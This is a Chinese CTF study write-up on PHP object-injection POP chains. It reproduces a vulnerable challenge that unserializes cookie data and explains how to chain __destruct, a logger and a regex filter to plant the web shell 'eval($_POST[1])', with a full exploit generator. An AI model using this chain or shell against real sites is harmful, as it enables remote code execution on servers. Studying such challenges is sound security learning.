跟隨wupco師傅學習
classes.php
<?php
class OutputFilter {
protected $matchPattern;
protected $replacement;
function __construct($pattern, $repl) {
$this->matchPattern = $pattern;
$this->replacement = $repl;
}
function filter($data) {
return preg_replace($this->matchPattern, $this->replacement, $data);
}
};
class LogFileFormat {
protected $filters;
protected $endl;
function __construct($filters, $endl) {
$this->filters = $filters;
$this->endl = $endl;
}
function format($txt) {
foreach ($this->filters as $filter) {
$txt = $filter->filter($txt);
}
$txt = str_replace('\n', $this->endl, $txt);
return $txt;
}
};
class LogWriter_File {
protected $filename;
protected $format;
function __construct($filename, $format) {
$this->filename = str_replace("..", "__", str_replace("/", "_", $filename));
$this->format = $format;
}
function writeLog($txt) {
$txt = $this->format->format($txt);
//TODO: Modify the address here, and delete this TODO.
file_put_contents("C:\\WWW\\test\\ctf\\kon\\" . $this->filename, $txt, FILE_APPEND);
}
};
class Logger {
protected $logwriter;
function __construct($writer) {
$this->logwriter = $writer;
}
function log($txt) {
$this->logwriter->writeLog($txt);
}
};
class Song {
protected $logger;
protected $name;
protected $group;
protected $url;
function __construct($name, $group, $url) {
$this->name = $name;
$this->group = $group;
$this->url = $url;
$fltr = new OutputFilter("/\[i\](.*)\[\/i\]/i", "<i>\\1</i>");
$this->logger = new Logger(new LogWriter_File("song_views", new LogFileFormat(array($fltr), "\n")));
}
function __toString() {
return "<a href='" . $this->url . "'><i>" . $this->name . "</i></a> by " . $this->group;
}
function log() {
$this->logger->log("Song " . $this->name . " by [i]" . $this->group . "[/i] viewed.\n");
}
function get_name() {
return $this->name;
}
}
class Lyrics {
protected $lyrics;
protected $song;
function __construct($lyrics, $song) {
$this->song = $song;
$this->lyrics = $lyrics;
}
function __toString() {
return "<p>" . $this->song->__toString() . "</p><p>" . str_replace("\n", "<br />", $this->lyrics) . "</p>\n";
}
function __destruct() {
$this->song->log();
}
function shortForm() {
return "<p><a href='song.php?name=" . urlencode($this->song->get_name()) . "'>" . $this->song->get_name() . "</a></p>";
}
function name_is($name) {
return $this->song->get_name() === $name;
}
};
class User {
static function addLyrics($lyrics) {
$oldlyrics = array();
if (isset($_COOKIE['lyrics'])) {
$oldlyrics = unserialize(base64_decode($_COOKIE['lyrics']));
}
foreach ($lyrics as $lyric) $oldlyrics []= $lyric;
setcookie('lyrics', base64_encode(serialize($oldlyrics)));
}
static function getLyrics() {
if (isset($_COOKIE['lyrics'])) {
return unserialize(base64_decode($_COOKIE['lyrics']));
}
else {
setcookie('lyrics', base64_encode(serialize(array(1, 2))));
return array(1, 2);
}
}
};
class Porter {
static function exportData($lyrics) {
return base64_encode(serialize($lyrics));
}
static function importData($lyrics) {
return serialize(base64_decode($lyrics));
}
};
class Conn {
protected $conn;
function __construct($dbuser, $dbpass, $db) {
$this->conn = mysqli_connect("localhost", $dbuser, $dbpass, $db);
}
function getLyrics($lyrics) {
$r = array();
foreach ($lyrics as $lyric) {
$s = intval($lyric);
$result = $this->conn->query("SELECT data FROM lyrics WHERE id=$s");
while (($row = $result->fetch_row()) != NULL) {
$r []= unserialize(base64_decode($row[0]));
}
}
return $r;
}
function addLyrics($lyrics) {
$ids = array();
foreach ($lyrics as $lyric) {
$this->conn->query("INSERT INTO lyrics (data) VALUES (\"" . base64_encode(serialize($lyric)) . "\")");
$res = $this->conn->query("SELECT MAX(id) FROM lyrics");
$id= $res->fetch_row(); $ids[]= intval($id[0]);
}
echo var_dump($ids);
return $ids;
}
function __destruct() {
$this->conn->close();
$this->conn = NULL;
}
};
觸發點是一個直接可以反序列化。
題目不難,pop鏈構造一下,最后是可以生成一個shell
可以看看如何構造pop鏈:http://www.cnblogs.com/iamstudy/articles/php_object_injection_pop_chain.html
這里想記錄的是構造pop鏈的一些過程,重新回顧一下。
unserialize
— 從已存儲的表示中創建 PHP 的值
類里面經常會用到兩種函數:構造函數和析構函數
構造函數:具有構造函數的類會在每次創建新對象時先調用此方法,所以非常適合在使用對象之前做一些初始化工作。比如__construct
這里特別注意一下,創建新對象的時候才會調用,所以反序列化的時候是不會調用__construct
析構函數:在到某個對象的所有引用都被刪除或者當對象被顯式銷毀時執行。比如__destruct
上面兩種都是屬於魔術方法,更多的魔術方法可以看:http://php.net/manual/zh/language.oop5.magic.php
所以找反序列化洞的時候一般可以重點關注兩個魔術方法:__wakeup()
(反序列化的初始化調用)、__destruct()
當然wakeup是可以繞過的,具體可以看看CVE-2016-7124
鋪墊完了~下面解析一下這個pop如何構造
漏洞觸發點1:可以寫log進一個文件:LogWriter_File::writeLog()
$this->filename
可控,注意不是$filename
雖然__construct
里面寫了,感覺是沒法跨目錄寫shell,$this->filename = str_replace("..", "__", str_replace("/", "_", $filename));
但是反序列化的時候是不調用的,所以我們可以直接把這個注釋掉,然后再在類里面添加一行$this->filename = '../1.php';
但是這里的文件內容為空,應該如何寫入內容?
可以看到最上面的,OutputFilter::filter()
,可以正則匹配空的,然后替換為shell內容,new OutputFilter("//i", "<i><?php eval(\$_POST[1]);?></i>");
漏洞觸發點2:當然如何php如果版本不高於5.5的話,OutputFilter::filter()
,可以用正則的/e
模式來執行php代碼
exp:
$fltr = new OutputFilter("//i", "<i><?php eval(\$_POST[1]);?></i>");
$fileformat_obj = new LogFileFormat();
$format = new LogFileFormat(array($fltr), "\n");
$filename = '1.php';
$logwrite_obj = new LogWriter_File($filename, $format);
$writer = $logwrite_obj;
$logger_obj = new Logger($writer);
$lyrics = 1;
$song = $logger_obj;
$lyrics_obj = new Lyrics($lyrics, $song);
echo base64_encode(serialize($lyrics_obj));
這里還有要說的坑點就是private變量,它最后周圍是有不可見字符\x00
,所以如果不是base64編碼的話,可以用%00
來代替。